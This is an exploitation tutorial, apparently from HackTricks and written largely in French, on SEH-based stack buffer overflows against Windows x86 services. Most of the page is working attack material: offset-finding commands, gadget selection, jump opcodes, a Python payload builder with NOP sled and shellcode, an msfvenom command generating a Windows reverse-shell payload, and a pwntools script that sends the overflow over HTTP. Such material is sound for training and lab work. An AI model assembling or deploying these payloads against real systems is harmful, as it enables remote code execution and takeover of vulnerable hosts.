# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH) {{#include ../../banners/hacktricks-training.md}} SEH-based exploitation est une technique classique sur Windows x86 qui abuse de la chaîne Structured Exception Handler stockée sur la pile. Quand un débordement de tampon sur la pile écrase les deux champs de 4 octets suivants - nSEH: pointer to the next SEH record, and - SEH: pointer to the exception handler function un attaquant peut prendre le contrôle de l'exécution en : 1) Mettre SEH à l'adresse d'un gadget POP POP RET dans un module non protégé, de sorte que lorsque une exception est déclenchée le gadget renvoie l'exécution vers des octets contrôlés par l'attaquant, et 2) Utiliser nSEH pour rediriger l'exécution (typiquement un saut court) vers l'intérieur du grand buffer débordant où réside le shellcode. Cette technique est spécifique aux processus 32-bit (x86). Sur les systèmes modernes, privilégiez un module sans SafeSEH et sans ASLR pour le gadget. Les bad characters incluent souvent 0x00, 0x0a, 0x0d (NUL/CR/LF) en raison des C-strings et du parsing HTTP. --- ## Finding exact offsets (nSEH / SEH) - Faites planter le processus et vérifiez que la chaîne SEH est écrasée (par ex., dans x32dbg/x64dbg, vérifiez la vue SEH). - Envoyez un cyclic pattern comme données débordantes et calculez les offsets des deux dwords qui atterrissent dans nSEH et SEH. Exemple avec peda/GEF/pwntools sur un corps POST de 1000 octets: ```bash # generate pattern (any tool is fine) /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 # or python3 -c "from pwn import *; print(cyclic(1000).decode())" # after crash, note the two 32-bit values from SEH view and compute offsets /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH # ➜ offsets example: nSEH=660, SEH=664 ``` Validez en plaçant des marqueurs à ces positions (par ex., nSEH=b"BB", SEH=b"CC"). Gardez la longueur totale constante pour rendre le crash reproductible. --- ## Choisir un POP POP RET (SEH gadget) Vous avez besoin d'une séquence POP POP RET pour dérouler la frame SEH et revenir dans vos octets nSEH. Trouvez-la dans un module sans SafeSEH et de préférence sans ASLR: - Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`. - x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status. Choisissez une adresse qui ne contient pas de badchars lorsqu'elle est écrite en little-endian (par ex., `p32(0x004094D8)`). Préférez des gadgets à l'intérieur du binaire vulnérable si les protections le permettent. --- ## Technique jump-back (short + near jmp) nSEH ne fait que 4 octets, ce qui accepte au plus un short jump de 2 octets (`EB xx`) plus du padding. Si vous devez revenir de plusieurs centaines d'octets pour atteindre le début de votre buffer, utilisez un near jump de 5 octets placé juste avant nSEH et enchaînez dessus avec un short jump depuis nSEH. With nasmshell: ```text nasm> jmp -660 ; too far for short; near jmp is 5 bytes E967FDFFFF nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding) EBF6 nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) E96FFDFFFF ``` Idée d'agencement pour un payload de 1000 bytes avec nSEH à offset 660: ```python buffer_length = 1000 payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) payload += b"D" * (buffer_length - len(payload)) ``` Execution flow: - Une exception se produit, le dispatcher utilise le SEH écrasé. - POP POP RET déroule vers notre nSEH. - nSEH exécute `jmp short -8` vers le near jump de 5 octets. - Le near jump aboutit au début de notre buffer où résident le NOP sled + shellcode. --- ## Bad characters Construisez une chaîne complète de badchar et comparez la mémoire stack après le crash, en retirant les octets qui sont corrompus par le parser cible. Pour les overflows basés sur HTTP, `\x00\x0a\x0d` sont presque toujours exclus. ```python badchars = bytes([x for x in range(1,256)]) payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case ``` --- ## Shellcode generation (x86) Utilisez msfvenom avec vos badchars. Un petit NOP sled aide à tolérer les variations d'atterrissage. ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f python -v sc ``` Si vous générez à la volée, le format hex est pratique pour embed et unhex en Python : ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f hex ``` --- ## Envoi via HTTP (CRLF précis + Content-Length) Lorsque le vecteur vulnérable est le corps d'une requête HTTP, créez une raw request avec des CRLFs précis et un Content-Length exact afin que le serveur lise l'intégralité du corps débordant. ```python # pip install pwntools from pwn import remote host, port = "", 8080 body = b"A" * 1000 # replace with the SEH-aware buffer above req = f"""POST / HTTP/1.1 Host: {host}:{port} User-Agent: curl/8.5.0 Accept: */* Content-Length: {len(body)} Connection: close """.replace('\n','\r\n').encode() + body p = remote(host, port) p.send(req) print(p.recvall(timeout=0.5)) p.close() ``` --- ## Outils - x32dbg/x64dbg pour observer la chaîne SEH et analyser le crash. - ERC.Xdbg (plugin pour x64dbg) pour énumérer les SEH gadgets : `ERC --SEH`. - Mona en alternative : `!mona modules`, `!mona seh`. - nasmshell pour assembler des short/near jumps et copier les opcodes bruts. - pwntools pour fabriquer des payloads réseau précis. --- ## Notes et mises en garde - S'applique uniquement aux processus x86. x64 utilise un schéma SEH différent et l'exploitation basée sur SEH n'est généralement pas viable. - Privilégier les gadgets dans des modules sans SafeSEH ni ASLR ; sinon, trouver un module non protégé chargé dans le processus. - Les watchdogs de service qui redémarrent automatiquement après un crash peuvent faciliter le développement itératif d'exploits. ## Références - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) - [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg) - [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/) - [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona) {{#include ../../banners/hacktricks-training.md}}